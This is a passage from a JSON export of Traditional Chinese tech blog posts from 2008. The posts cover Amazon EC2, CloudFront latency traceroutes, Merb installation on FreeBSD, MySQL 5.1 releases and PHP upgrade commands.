    "body": "在 <a href=\"http://aws.typepad.com/\">Amazon Web Services Blog</a> 宣佈了<a href=\"http://aws.typepad.com/aws/2008/10/big-day-for-ec2.html\">相當大的進展</a>：\r\n<ul>\r\n\t<li>將 AWS 服務的 beta logo 取消，成為正式的產品。(不過大家對 \"beta\" 已經麻木了，拿掉 beta logo 對市場的宣示意味比較大)</li>\r\n\t<li><a href=\"http://aws.amazon.com/ec2-sla/\">SLA</a> (Serivce Level Agreement)，從 2008/10/23 開始，提供以年度計算 99.95% 的 SLA，也就是保證一年內的離線時間低於 4 小時 22 分鐘 48 秒。不過要認定 downtime 有許多限制...</li>\r\n\t<li>Microsoft Windows 2003 以及 Microsoft SQL Server 可以在 EC2 上跑了！價錢可以參考 <a href=\"http://aws.amazon.com/windows/\">Amazon Elastic Compute Cloud (EC2) Running Microsoft Windows Server and SQL Server</a> 這頁。</li>\r\n</ul>\r\n另外他們也排出一些計畫 (與其他公司的計畫不一樣，Amazon AWS 的計畫到現在大多都有實現 XD)：\r\n<ul>\r\n\t<li>Management Console：可以直接用介面管理你要啟動哪些 instances。目前都是透過 3rd-party 軟體管理。</li>\r\n\t<li>Load Balancing：如果這個東西功能完整的話，就不用自己生一個 instance 跑 <a href=\"http://haproxy.1wt.eu/\">HAProxy</a> 了！(如果沒有 health check 功能的話，就還是需要自己跑...)</li>\r\n\t<li>Automatic Scaling：瞬間再打爆一票 3rd-party 管理軟體 XD</li>\r\n\t<li>Cloud Monitoring：這個跟 Management Console 不知道有什麼差異...</li>\r\n</ul>\r\n<a href=\"http://www.amazon.com/\">Amazon</a> 的 CTO Werner Vogels 在他的 blog 上也有提到這件事情：<a href=\"http://www.allthingsdistributed.com/2008/10/using_the_cloud_to_build_highl.html\">Using the Cloud to build highly-efficient systems</a>。",
    "title": "Amazon EC2"
  },
  {
    "id": "1800",
    "body": "<a href=\"http://nb.io/hacks/csshttprequest/\">CSSHttpRequest</a> 是利用 CSS 的 <code>@import</code> + <code>about:</code> 取代目前常被使用 JSONP，優點在於 JSONP 可能被植入惡意的 javascript code，但 CSSHttpRequest 不會。\r\n\r\n不過話說回來，對 IE6/IE7 就不是這樣了 (IE6/IE7 的 CSS 裡可以跑 script)，而 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3 有提供 cross-domain XHR，CSSHttpRequest 似乎又沒有那麼吸引人了？",
    "title": "CSSHttpRequest"
  },
  {
    "id": "1802",
    "body": "把 Notebook (IBM ThinkPad R60) 上的 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 8.04 升級到 8.10 beta 後，<a href=\"http://zh.wikipedia.org/wiki/WPA\">WPA</a> 加密的無線網路常常連不上，而且系統常常死當。本來以為是目前升級的程式還有問題，沒有將系統內相關的設定轉換到新版，所以就找時間重灌... 結果重新安裝 Ubuntu 8.10 後發現還是一樣。\r\n\r\n用 <a href=\"http://www.google.com/\">Google</a> 找發現有不少人在升級到 8.10 後也有類似的問題，看起來這部份還在調整。\r\n\r\n這幾天透過 3G 網卡每天更新驅動程式以及應用軟體，看看會不會在正式釋出前修正，不然就得再灌回 8.04 了...",
    "title": "Ubuntu 8.10 beta 版本"
  },
  {
    "id": "1805",
    "body": "<a href=\"http://www.dlink.com/\">Dlink</a> 的 load balancing router，4 LAN port 與 2 WAN port，我把 WAN port 分別接到 12M <a href=\"http://www.tfn.net.tw/residential/cm/\">TFN cable</a> 與 8M <a href=\"http://www.promotion.hinet.net/\">HiNet ADSL</a> 後，大約兩個小時會當機重開一次 (從 uptime 可以看到)。\r\n\r\n還是得買比較好的 load balancing router 來跑...",
    "title": "DI-LB604"
  },
  {
    "id": "1809",
    "body": "「<a href=\"http://groups.google.com/group/yotu/browse_thread/thread/b4fd90d2156f755d\">97 年電話費又再次降價，但需自己設定</a>」這篇提到電話費降價的事情，鼓勵大家換過去，但事實上文章裡少寫了 $1.6/3mins 的月租費是 $50，有贈送通話費 25 元，但 $1.5/5mins 的月租費是 $75，而且沒有贈送通話費。\r\n\r\n如果沒什麼在打電話 (像是以前申請 ADSL 多出來的附掛電話)，用 $1.6/3mins 反而會因為低月租，而且有折抵通話費而比較省。(Note：現在申請 ADSL 可以不用辦市話)\r\n\r\n參考<a href=\"http://www.cht.com.tw/PersonalCat.php?Module=Fee,Describe&CatID=113&PageID=2030\">中華電信市內電話費率表</a>。",
    "title": "中華電信市內電話降價的錯誤資訊"
  },
  {
    "id": "1813",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/2987925153/\"><img src=\"http://farm4.static.flickr.com/3066/2987925153_77d86aa4cb.jpg\" alt=\"\" /></a>",
    "title": "今天公司..."
  },
  {
    "id": "1815",
    "body": "想在 Laptop 上的 Ubuntu 8.10 玩 <a href=\"http://www.merbivore.com/\">Merb</a>，結果發現比想像中的麻煩許多。\r\n\r\n安裝的部份，一開始是透過 apt-cache 找，但發現 apt 裡面沒有，所以得自己透過 <a href=\"http://www.rubygems.org/\">Ruby Gems</a> 裝。安裝的過程很不順利，除了仔細看錯誤訊息去猜測原因外，主要還是得靠 <a href=\"http://www.google.com/\">Google</a> 找答案。\r\n\r\n實際要透過 merb-gen 產生 project 時，又發現還有不少 dependency 沒裝進去，一個一個補裝後才解決。\r\n\r\n剛剛總算把一個什麼都還沒改過的 Merb 跑起來了：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2995945717/\"><img src=\"http://farm4.static.flickr.com/3252/2995945717_cb3226b81e.jpg\" alt=\"\" /></a>\r\n\r\n不過這些應該會在 1.0 正式版推出前解決吧？(errr...)",
    "title": "Merb"
  },
  {
    "id": "1819",
    "body": "<a href=\"http://www.merbivore.com/\">Merb</a> 1.0 正式版已經放出來，不過目前還沒辦法裝...\r\n\r\n因為 Merb 1.0 要 <a href=\"http://www.rubygems.org/\">RubyGems</a> 1.3.0 版或是更新的版本 (寫這篇時最新版是 1.3.1)，而 <a href=\"http://www.freebsd.org/ports/\">FreeBSD Ports</a> 與 <a href=\"http://www.ubuntu.com/products/whatisubuntu/810features/\">Ubuntu 8.10</a> 內目前所附的都是 1.2.0 版，當場輸光光...\r\n\r\n再等幾天 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 應該會更新吧... (應該吧)",
    "title": "Merb 1.0 正式版"
  },
  {
    "id": "1821",
    "body": "在<a href=\"http://blog.gslin.org/archives/2008/11/09/1819/\">上一篇</a>提到 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上暫時因為 <a href=\"http://www.rubygems.org/\">RubyGems</a> 版本問題，沒辦法裝 <a href=\"http://www.merbivore.com/\">Merb</a> 1.0，我決定自己來惡搞...\r\n\r\n一開始是想裝 <a href=\"http://www.ruby-lang.org/\">Ruby</a> 1.9，據說內建 RubyGems，但裝上去後發現內建的版本是 RubyGems 1.0.1，比 <a href=\"http://www.freebsd.org/ports/\">FreeBSD Ports</a> 的還舊，還是自己動手把 Ports 裡的 RubyGems 升級好了...\r\n\r\n要將 FreeBSD Ports 裡的 RubyGems 更新到 1.3.1，最麻煩的是要生出 pkg-plist，這點由 ports maintainer jw at innerewut.de 做的差不多了，他寫了 x-generate-plist 會幫你產生 pkg-plist，所以很容易就把 pkg-plist 做完然後 send-pr。(參考 <a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=128731\">ports/128731: [PATCH] devel/ruby-gems: update to 1.3.1</a>，裡面有 patch file)\r\n\r\n升級完成後就是要裝 Merb 了...\r\n\r\n我的打算是等 <a href=\"http://blog.dragon2.net/\">clsung</a> 更新 <a href=\"http://www.freshports.org/www/rubygem-merb/\">www/rubygem-merb</a> 前都先完全用 gem 管理 RubyGems 套件，而不透過 Ports 管理 (他是這個 ports 的 maintainer)。所以接下來就是跑 <code>sudo gem install merb</code>。\r\n\r\n跑到一半會喊 <code>sqlite3.h</code> 不存在，先把 <a href=\"http://www.freshports.org/databases/sqlite3/\">databases/sqlite3</a> 裝進系統，再用 <code>sudo gem install do_sqlite3 --with-sqlite3-dir=/usr/local</code> 把 do_sqlite3 裝進去。接著繼續跑 <code>sudo gem install merb</code> 把剩下的套件都裝完。\r\n\r\n然後裝一些一定會用到的東西，像是對 <a href=\"http://dev.mysql.com/\">MySQL</a> 的支援套件：<code>sudo gem install do_mysql</code>。\r\n\r\n大致上就是這樣...\r\n\r\n<strong>Update</strong>：還少了 <code>sudo gem install json</code>，剛剛要 <code>merb-gen app project</code> 的時候發現會說少了 Json::Iconv 而不能跑 XD\r\n\r\n<strong>Update</strong>：跑 merb 的時候發現還少了 DataMapper，所以要再裝 <code>sudo gem install datamapper</code>。\r\n\r\n<strong>Update</strong>：結果還是一直喊找不到 dm-types...\r\n\r\n<strong>Update</strong>：還少了 <code>sudo gem install mongrel</code>。\r\n\r\n<strong>Update</strong>：dm-types 的問題可以在這篇回報看到一個 patch，這個 patch 預定在 1.0.1 會修正，在還沒修正前需要自己更新：<a href=\"http://merb.lighthouseapp.com/projects/7433/tickets/968-i-have-dm-types-gem-installed-but-still-get-fatal-the-gem-dm-types-097-runtime-was-not-found\">I have dm-types gem installed but still get - FATAL: The gem dm-types (= 0.9.7, runtime), [] was not found</a>。",
    "title": "在 FreeBSD 上安裝 Merb 1.0"
  },
  {
    "id": "1829",
    "body": "跑 <a href=\"http://www.mozilla.org/projects/minefield/\">Minefield</a> nightly build 版本的人心臟總是要大顆一點...\r\n\r\n我目前的版本是 20081111032821 (User-Agent 是 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081111 Minefield/3.1b2pre)，剛剛發現<a href=\"http://rzsuisei.blog.shinobi.jp/\">黑心人形の部屋</a>是個 reproducible crashing page，一步一步測試，發現是 <code>javascript.options.jit.content</code> 造成的問題，設定成 <code>false</code> 就正常了。\r\n\r\n用 Minefield 的人如果有一直 crash 的困擾，可以試著把 jit 關掉，可能會有幫助。",
    "title": "Firefox 3.1 的 JIT"
  },
  {
    "id": "1834",
    "body": "中地雷了... 測試程式在 <a href=\"http://gist.github.com/25425\">http://gist.github.com/25425</a> 這裡。\r\n\r\n在 <a href=\"http://www.ruby-lang.org/\">Ruby</a> 1.8.6 (<a href=\"http://www.freebsd.org/\">FreeBSD</a> 7) 上面測試會輸出 RSS 2.0，但在 Ruby 1.8.7 (<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 8.10) 上則會輸出空字串。<a href=\"http://blog.xdite.net/\">xdite</a> 拿了同樣的程式去 1.9.0 上測試也是出現空字串。\r\n\r\n到 <a href=\"http://freenode.net/\">freenode</a> 的 ruby-lang 上提了這個問題，結果有人說 1.8.7 弄爛了太多東西，他不會感到意外 XDDD\r\n\r\nAnyway，這個功能到還沒有那麼急迫要修好，所以這陣子大概是不會好的吧... (可以自己寫 generator，<a href=\"http://cyber.law.harvard.edu/rss/rss.html\">RSS 2.0</a> 的 feed 並不難寫)",
    "title": "Ruby 1.8.7 (以及 1.9) 的 RSS::Maker"
  },
  {
    "id": "1837",
    "body": "沒想到 <a href=\"http://www.amazon.com/\">Amazon</a> 這麼快就推出 CDN 服務了：<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a>。\r\n\r\n先說價錢的部份。就這陣子接觸 CDN 的狀況來說 (大約接觸了六七家)，zero-commitment 這個價錢相當驚人。CloudFront 與一般的 CDN 的價錢算法不太一樣，一般都是大致上告知各地區的用量，CDN company 會給你一個 package，這個 package 包括一定程度的 commitment，以及超過 commitment 時的價錢。CloudFront 沒有 commitment (這是預期的，因為之前他們宣佈要開發 CDN service 時就有說明這件事情)，另外依照不同地區的流量，收不同費用，與其他家的算法相比，這樣的確很有競爭性。實際上，Amazon 所放的機房似乎有談到比較好的價錢，Price 的部份可以看到大約是 USD$0.2/GB。\r\n\r\n就技術面來說，CloudFront 全球有十四個點，亞洲地區是在東京與香港，這點與一般的 CDN service 差不多，這兩個點是亞洲區交換的重心，基本上都會在這兩個地區架點。\r\n\r\n第一步是看 DNS 的架構，DNS 是 Anycast-based，從台灣各 ISP 連過去，看起來都是到香港的 DNS server，至於封包怎麼到香港，又怎麼樣回台灣，這又是另外一回事情了...\r\n\r\n再來是看 latency，這個部份通常會配合 traceroute 測試 (觀察每個點的狀況)。traceroute 的目的地可以用 Amazon 自己提供的 d1nqj4pxyrfw2.cloudfront.net，或是自己申請的 domain 測試，會發現從 <a href=\"http://www.hinet.net/\">HiNet</a> 過去的 latency 不低 (用幾個不同的地區 ADSL 測試)，<a href=\"http://www.tfn.net.tw/\">TFN</a> 似乎與香港機房的 ISP 有 peering，所以數字很漂亮，而 <a href=\"http://www.kbtelecom.net/\">KBT</a> 是走美國再到香港機房。\r\n\r\n這是一些數據：\r\n\r\nHiNet ADSL：\r\n<blockquote><small><pre> 3  tp-s2-c76r5.router.hinet.net (168.95.82.202)  34.846 ms  33.004 ms  36.084 ms\r\n 4  tp-crs11.router.hinet.net (220.128.2.230)  33.595 ms\r\n    tp-crs11.router.hinet.net (220.128.3.142)  34.207 ms\r\n    tp-crs11.router.hinet.net (220.128.1.230)  34.757 ms\r\n 5  r03-s2.tp.hinet.net (220.128.2.190)  31.899 ms\r\n    r03-s2.tp.hinet.net (220.128.1.178)  34.508 ms\r\n    r03-s2.tp.hinet.net (220.128.2.190)  32.021 ms\r\n 6  tp-s2-l233-81.router.hinet.net (211.72.233.81)  196.329 ms  194.428 ms  194.215 ms\r\n 7  po-1.a05.newthk01.hk.ra.gin.ntt.net (203.131.240.238)  193.144 ms  194.112 ms  198.367 ms\r\n 8  203.131.243.162 (203.131.243.162)  209.246 ms  208.731 ms  204.362 ms\r\n 9  216.137.55.35 (216.137.55.35)  193.126 ms  196.422 ms  194.614 ms</pre></small></blockquote>\r\nTFN：\r\n<blockquote><small><pre> 3  60-199-255-113.static.tfn.net.tw (60.199.255.113)  0.240 ms  0.229 ms  0.240 ms\r\n 4  60-199-6-125.static.tfn.net.tw (60.199.6.125)  0.364 ms  0.353 ms  0.365 ms\r\n 5  60-199-6-2.static.tfn.net.tw (60.199.6.2)  0.365 ms  0.353 ms  0.366 ms\r\n 6  60-199-6-222.static.tfn.net.tw (60.199.6.222)  11.607 ms  0.602 ms  0.615 ms\r\n 7  61.58.33.145 (61.58.33.145)  0.613 ms\r\n    61.58.33.173 (61.58.33.173)  15.341 ms\r\n    61.58.33.189 (61.58.33.189)  0.718 ms\r\n 8  xe-0-0-0.r20.taiptw01.tw.bb.gin.ntt.net (129.250.16.161)  0.846 ms  0.721 ms  0.862 ms\r\n 9  as-0.r20.tokyjp01.jp.bb.gin.ntt.net (129.250.4.217)  35.342 ms  35.825 ms\r\n    ge-0-3-0.r01.taiptw01.tw.bb.gin.ntt.net (129.250.3.174)  36.840 ms\r\n10  as-1.r20.newthk01.hk.bb.gin.ntt.net (129.250.2.110)  57.059 ms\r\n    as-0.r02.newthk01.hk.bb.gin.ntt.net (129.250.4.205)  34.951 ms  23.712 ms\r\n11  ae-5.r21.newthk01.hk.bb.gin.ntt.net (129.250.2.81)  70.317 ms\r\n    ae-4.r21.newthk01.hk.bb.gin.ntt.net (129.250.5.65)  23.455 ms\r\n    ae-5.r21.newthk01.hk.bb.gin.ntt.net (129.250.2.81)  58.428 ms\r\n12  po-1.a05.newthk01.hk.ra.gin.ntt.net (203.131.240.238)  70.435 ms  23.338 ms  70.447 ms\r\n13  203.131.243.162 (203.131.243.162)  23.599 ms  23.464 ms  21.229 ms\r\n14  216.137.55.28 (216.137.55.28)  23.847 ms  70.680 ms  70.573 ms</pre></small></blockquote>\r\nKBT：\r\n<blockquote><small><pre> 3  58.86-0-host249.kbtelecom.net.tw (58.86.0.249)  0.233 ms  0.228 ms  0.360 ms\r\n 4  TWGATE-VLAN-859.IX.kbtelecom.net (203.187.9.205)  0.611 ms  0.481 ms  0.734 ms\r\n 5  TWGATE-C65-10G2-1-TPNOC1.IX.kbtelecom.net (203.187.6.202)  0.732 ms  0.730 ms  0.860 ms\r\n 6  PAIX-T76-G2-1-TWGATE.IX.kbtelecom.net (203.187.3.74)  137.412 ms  137.385 ms  137.785 ms\r\n 7  GigabitEthernet2-0.GW4.PAO1.ALTER.NET (157.130.214.173)  137.515 ms  137.397 ms  137.512 ms\r\n 8  124.ATM3-0.XR2.PAO1.ALTER.NET (152.63.49.230)  137.657 ms  137.602 ms  137.764 ms\r\n 9  0.so-5-2-0.XT1.SCL2.ALTER.NET (152.63.54.134)  137.909 ms  137.804 ms  137.842 ms\r\n10  204.255.169.182 (204.255.169.182)  139.285 ms  139.353 ms  139.509 ms\r\n11  ae-1.r20.plalca01.us.bb.gin.ntt.net (129.250.5.117)  138.799 ms  138.586 ms  138.407 ms\r\n12  ae-1.r21.snjsca04.us.bb.gin.ntt.net (129.250.4.119)  140.262 ms  140.144 ms  140.144 ms\r\n13  as-1.r21.osakjp01.jp.bb.gin.ntt.net (129.250.3.198)  159.242 ms  159.132 ms  159.254 ms\r\n14  ae-4.r20.osakjp01.jp.bb.gin.ntt.net (129.250.4.57)  159.143 ms  159.248 ms  159.252 ms\r\n15  as-2.r21.newthk01.hk.bb.gin.ntt.net (129.250.4.46)  201.124 ms  203.150 ms  201.114 ms\r\n16  po-1.a05.newthk01.hk.ra.gin.ntt.net (203.131.240.238)  202.980 ms  220.093 ms  202.851 ms\r\n17  203.131.243.162 (203.131.243.162)  201.847 ms  201.868 ms  200.233 ms\r\n18  216.137.55.227 (216.137.55.227)  201.604 ms  201.568 ms  201.477 ms</pre></small></blockquote>\r\n以亞洲區的情況來說，其實也不能說差到哪裡，因為亞洲區各地區的網路環境本來就比較複雜，很多 ISP 拉到日本或香港的是談 peering 而非 transit，如果放的 ISP 不是大戶就會像 HiNet 這樣。\r\n\r\n台固 (TFN) 看起來是買日本 NTT transit 代替美國電路 (這點在 <a href=\"http://www.twnic.net.tw/\">TWNIC</a> 的資料可以推估出來)，所以數字就好看很多 (不過還是跑到香港 XD)\r\n\r\n離開亞洲，把測試環境拉到美國本土，情況就不太能讓人接受了。如果以美國的伺服器測試，以西岸 <a href=\"http://www.cogentco.com/\">Cogent Co</a> 的伺服器連上面所提到的 hostname，發現居然被導到東岸的機房... (喂喂)\r\n\r\nCogent Co：\r\n<blockquote><small><pre> 3  te8-4.ccr02.sjc01.atlas.cogentco.com (154.54.6.69)  0.613 ms\r\n    te8-4.mpd01.sjc01.atlas.cogentco.com (154.54.6.73)  0.603 ms\r\n    te8-4.ccr02.sjc01.atlas.cogentco.com (154.54.6.69)  0.603 ms\r\n 4  te7-4.mpd01.sjc03.atlas.cogentco.com (154.54.6.234)  1.598 ms\r\n    te4-2.mpd01.sjc03.atlas.cogentco.com (154.54.6.106)  1.224 ms\r\n    te7-4.mpd01.sjc03.atlas.cogentco.com (154.54.6.234)  1.226 ms\r\n 5  te-3-3.car3.SanJose1.Level3.net (4.68.110.137)  1.099 ms  1.095 ms  1.110 ms\r\n 6  vlan99.csw4.SanJose1.Level3.net (4.68.18.254)  3.240 ms  6.099 ms  1.740 ms\r\n 7  ae-94-94.ebr4.SanJose1.Level3.net (4.69.134.253)  3.738 ms  7.825 ms  2.486 ms\r\n 8  ae-2.ebr4.NewYork1.Level3.net (4.69.135.186)  73.826 ms  73.220 ms  73.325 ms\r\n 9  ae-74-74.csw2.NewYork1.Level3.net (4.69.134.118)  73.193 ms  74.808 ms  72.824 ms\r\n10  ae-71-71.ebr1.NewYork1.Level3.net (4.69.134.69)  73.321 ms  73.189 ms  73.525 ms\r\n11  ae-2-2.ebr1.Newark1.Level3.net (4.69.132.98)  78.324 ms  76.045 ms  74.122 ms\r\n12  ae-12-53.car2.Newark1.Level3.net (4.68.99.70)  74.779 ms\r\n    ae-12-55.car2.Newark1.Level3.net (4.68.99.134)  73.799 ms\r\n    ae-12-51.car2.Newark1.Level3.net (4.68.99.6)  88.805 ms\r\n13  AMAZONCOM.car2.Newark1.Level3.net (4.79.190.182)  74.351 ms  73.560 ms  73.697 ms\r\n14  216.137.41.112 (216.137.41.112)  74.697 ms  74.173 ms  74.696 ms</pre></small></blockquote>\r\n\r\n網路層面看完後，再來是看 Web server 的 performance，這點 Amazon 提供的服務慘不忍睹，實際以 <a href=\"http://d1nqj4pxyrfw2.cloudfront.net/cfcurl.pl\">http://d1nqj4pxyrfw2.cloudfront.net/cfcurl.pl</a> 抓檔案測試發現，居然沒支援 gzip：\r\n<blockquote><small><pre>x-amz-id-2: gS6hQRsamtiyGdmpkpaHlt0mFE0tcBrzrV5QuJm4f5ObZX91IeLasylUvNj1h4B+\r\nx-amz-request-id: BA60E611E0CBD3B9\r\nDate: Tue, 18 Nov 2008 17:51:10 GMT\r\nx-amz-meta-s3fox-filesize: 7482\r\nx-amz-meta-s3fox-modifiedtime: 1225495075000\r\nLast-Modified: Mon, 17 Nov 2008 18:54:09 GMT\r\nEtag: \"42c51d029cc4a9f2a3f06a494af4f020\"\r\nContent-Type: application/x-unknown-content-type\r\nContent-Length: 7482\r\nServer: AmazonS3\r\nAge: 12848\r\nX-Cache: RefreshHit from cloudfront\r\nVia: 1.0 0904298d6eb16ce0af632faa366b71c4.cloudfront.net:11180 (CloudFront),\r\n     1.0 03b371403ea88af54def5cba2800dc5f.cloudfront.net:11180 (CloudFront)</pre></small></blockquote>\r\n待續。",
    "title": "Amazon CloudFront (Amazon CDN)"
  },
  {
    "id": "1856",
    "body": "還好即時發現，差點撐不過今天晚上 -_-\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3045129631/\"><img src=\"http://farm4.static.flickr.com/3159/3045129631_4329205595.jpg\" alt=\"\" /></a>\r\n\r\n簡單先找出最吃 CPU resource 的 SQL query，針對他的 WHERE 條件加上適當的 Index 後：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3046018832/\"><img src=\"http://farm4.static.flickr.com/3003/3046018832_f8b8967397.jpg\" alt=\"\" /></a>\r\n\r\n這樣就爭取到調整的時間了...",
    "title": "Index 很重要..."
  },
  {
    "id": "1863",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> 5.1.30 將會是第一個 GA (General Availibility) 版本，相當於一般所說的「正式版」，預定在 12/6 釋出。\r\n\r\n消息是在 <a href=\"http://www.opensqlcamp.org/\">OpenSQLCamp</a> 2008 上放出來的：\r\n\r\n<a href=\"http://www.flickr.com/photos/datacharmer/3031124529/\"><img src=\"http://farm4.static.flickr.com/3227/3031124529_1c108f26cd.jpg\" alt=\"\" /></a>",
    "title": "MySQL 5.1.30 (第一個 General Availibility 版本)"
  },
  {
    "id": "1865",
    "body": "<a href=\"http://www.mysql.com/\">MySQL AB</a> 被 <a href=\"http://www.sun.com/\">Sun</a> 買走後，MySQL 官方宣佈了一些事情，到目前看起來，最大的改變是把 <a href=\"http://dev.mysql.com/\">MySQL</a> 的版本控制軟體從 <a href=\"http://www.bitkeeper.com/\">BitKeeper</a> (close source) 轉移到 <a href=\"http://bazaar-vcs.org/\">Bazaar</a>。\r\n\r\n版本控制軟體變成 open source 使得 source code 的取得以及追蹤變容易了，於是有許多人就自己建立 branch 發展，相當熱鬧。(因為有版本控制，容易與官方的 branch cross-merge，有些人會在 community 版互相 merge)\r\n\r\n主要幾個有名的 patch vendor 包括：\r\n<ul>\r\n\t<li><a href=\"http://www.google.com/\">Google</a> 的 <a href=\"http://code.google.com/p/google-mysql-tools/\">google-mysql-tools</a>，針對 MySQL 4.0 與 5.0 兩個版本的 patch。</li>\r\n\t<li><a href=\"http://www.percona.com/\">Percona</a> 的 <a href=\"http://www.percona.com/docs/wiki/release:start\">Percona releases</a>，針對 MySQL 5.0 與 5.1 兩個版本的 patch。</li>\r\n\t<li><a href=\"http://ourdelta.org/\">OurDelta</a> 的 <a href=\"http://ourdelta.org/patches\">Patches/Sources</a>，目前主要針對 5.0 與 5.1 (尤其是 5.0)，之後會視情況對 6.0 patch。</li>\r\n</ul>\r\n遇到奇怪的 bug，或是多 CPU 效能瓶頸時，試看看這些 community version 會是不錯的方向。",
    "title": "MySQL Community 版本"
  },
  {
    "id": "1870",
    "body": "建議觀望兩個版本 XD\r\n\r\n<a href=\"http://dev.mysql.com/\">MySQL</a> 5.1 正式釋出了，比預訂的 12/6 早了一個多禮拜。目前 dev.mysql.com 處於被 DDoS 的狀態，不太容易連上，需要的人應該儘量到最近的 mirror site 找。\r\n\r\n這個版本不建議大家先上的原因是，我們 (<a href=\"http://www.pixnet.net/\">PIXNET</a>) 自己測試 5.1.29-rc 時發現在大量的 request 時，有時候會 connect fail，而這個 bug 在 5.1.30 的 changelog 裡沒看到相關的訊息。一種解法是在 application 層 retry，不過這種方法實在是不太舒服，還是等一陣子再說... XD",
    "title": "MySQL 5.1.30 (5.1 的第一個 GA version)"
  },
  {
    "id": "1872",
    "body": "抱怨一下，這次感冒 (?) 的後遺症超嚴重，今天睡醒起來居然沒聲音了，似乎該去找醫生看一看...\r\n\r\n<strong>Update</strong>：果然是發炎了，不過還加上出血 =_=",
    "title": "講話沒聲音了..."
  },
  {
    "id": "1873",
    "body": "網路上大多數的方法都是教你加入 public key，然後用 <code>apt-get install w32codecs</code> 安裝，我不太喜歡這個方法。(這樣等於是多了一組 key 可以亂搞你的系統)\r\n\r\n後來是在 <a href=\"http://blog.dragon2.net/\">clsung</a> 的「<a href=\"http://blog.dragon2.net/2008/01/28/509.php\">Ubuntu 看 rmvb</a>」看到，直接抓 w32codecs 的 deb 檔即可：<a href=\"http://www.debian-multimedia.org/pool/main/w/w32codecs/\">http://www.debian-multimedia.org/pool/main/w/w32codecs/</a>。抓完後用 dpkg -i ooxx.deb 裝到系統裡，接下來 mplayer 就可以看 rmvb 了...",
    "title": "Ubuntu 下看 rmvb..."
  },
  {
    "id": "1875",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 最近動作好多 XD\r\n\r\n<a href=\"http://aws.amazon.com/simpledb/\">Amazon SimpleDB</a> 是一個類似 <a href=\"http://labs.google.com/papers/bigtable.html\">Google BigTable</a> 的資料庫服務。從 2008/12/1 開始，<a href=\"http://www.amazon.com/\">Amazon</a> 決定降價！Data Storage 的部份除了從 USD$1.50/GB 降到 USD$0.25/GB (原來的 1/6！)，還另外提供六個月免費「試玩」的 quota：\r\n<blockquote>We've made the business decision to go with SimpleDB even simpler than it was before. You can now get started for free. For at least the next six months, you can consume up to 500 MB of storage, and you can use up to 25 machine hours each month. You can transfer 1 GB of data in, and another 1 GB out. You can move as much data to and from Amazon EC2 as you would like, for free.</blockquote>\r\n試玩的 quota 如上所寫，500MB、25 machine hours/month、1GB/month 流入流量、1GB/month 流出流量。\r\n\r\n站如果不大，幾乎不會花到錢 :p",
    "title": "Amazon SimpleDB 降價"
  },
  {
    "id": "1876",
    "body": "官方公告：<a href=\"http://adblockplus.org/releases/adblock-plus-10-released\">Adblock Plus 1.0 released</a>。\r\n\r\n<a href=\"http://adblockplus.org/\">Adblock Plus</a> 是 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 上相當熱門的 addon (目前在下載排行榜第三名)，是一套擋廣告的附加軟體。你可以自己寫條件式擋廣告，或是直接訂閱別人寫好的條件式 (會自動更新！)\r\n\r\n在「<a href=\"http://adblockplus.org/en/subscriptions\">Known Adblock Plus subscriptions</a>」這邊有列出一些常見的阻擋名單，我個人推薦 EasyList，在看國外的網站會少很多廣告。如果有在看大陸網站，可以試試 ChinaList，擋的也還不錯。",
    "title": "Firefox 擋廣告的 Adblock Plus 釋出 1.0 版"
  },
  {
    "id": "1877",
    "body": "現在要遇到因為 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 而導致「基本功能」不能用的網站其實還真的不多，除了學校與銀行的網站經常是 IE-only (噗)，商業性網站通常還是會考慮 Firefox，畢竟網路重度使用者比較不會被網路交易的技術門檻擋到。\r\n\r\n<a href=\"http://www.books.com.tw/\">博客來</a>從以前就很不 Firefox-friendly。剛剛想要訂「<a href=\"http://zh.wikipedia.org/wiki/%E9%8A%80%E6%B2%B3%E9%90%B5%E9%81%93%E4%B9%8B%E5%A4%9C\">銀河鐵道之夜</a>」，如果你用 Firefox，「加入會員」頁按「同意」是過不去的。\r\n\r\n改去<a href=\"http://www.kingstone.com.tw/\">金石堂</a>訂就沒這個問題 (然後發現單本就可以免運費到超商拿貨)，那... 博客來 byebye... XD\r\n\r\n<strong>Update</strong>：這兩天忙著其他東西所以沒找出原因，我測試的結果是，Firefox 3.1alpha、Firefox 3.0.6pre 點了「同意」都會失效，如果是 Windows 上的標準版本就沒問題。當時用了五分鐘看了 Javascript code 也看不出來 (不是直接判斷 \"Firefox\" 這個字)，等有時間的時候我再找原因看看...",
    "title": "博客來的網站的註冊頁面..."
  },
  {
    "id": "1879",
    "body": "<a href=\"http://www.php.net/\">PHP</a> 5.2.8 是 security update，用 5.2.6 的人應該儘速更新。(<a href=\"http://packages.debian.org/sid/php5\">Debian sid php5</a> 怎麼還在 5.2.6.dfsg.1-0.1... =_=)\r\n\r\n因為 <a href=\"http://www.freshports.org/devel/php5-pcre/\">php5-pcre</a> 直接被納入 php5 內 (也就是不需要額外再安裝，這個 port 已經消失)，而直接用 portupgrade 升級 php5 會造成 php5-pcre 不會被移除，所以需要一些強硬的手段：\r\n<blockquote><code># cd /var/db/pkg\r\n# pkg_delete -f php5-pcre-*\r\n# portupgrade -f php5*\r\n# portupgrade -f pecl*</code></blockquote>\r\n然後再跑 <code>pkgdb -F</code> 把 dependency 清理一下。",
    "title": "FreeBSD 上升級到 PHP 5.2.8 的一些小細節..."
  },
  {
    "id": "1880",
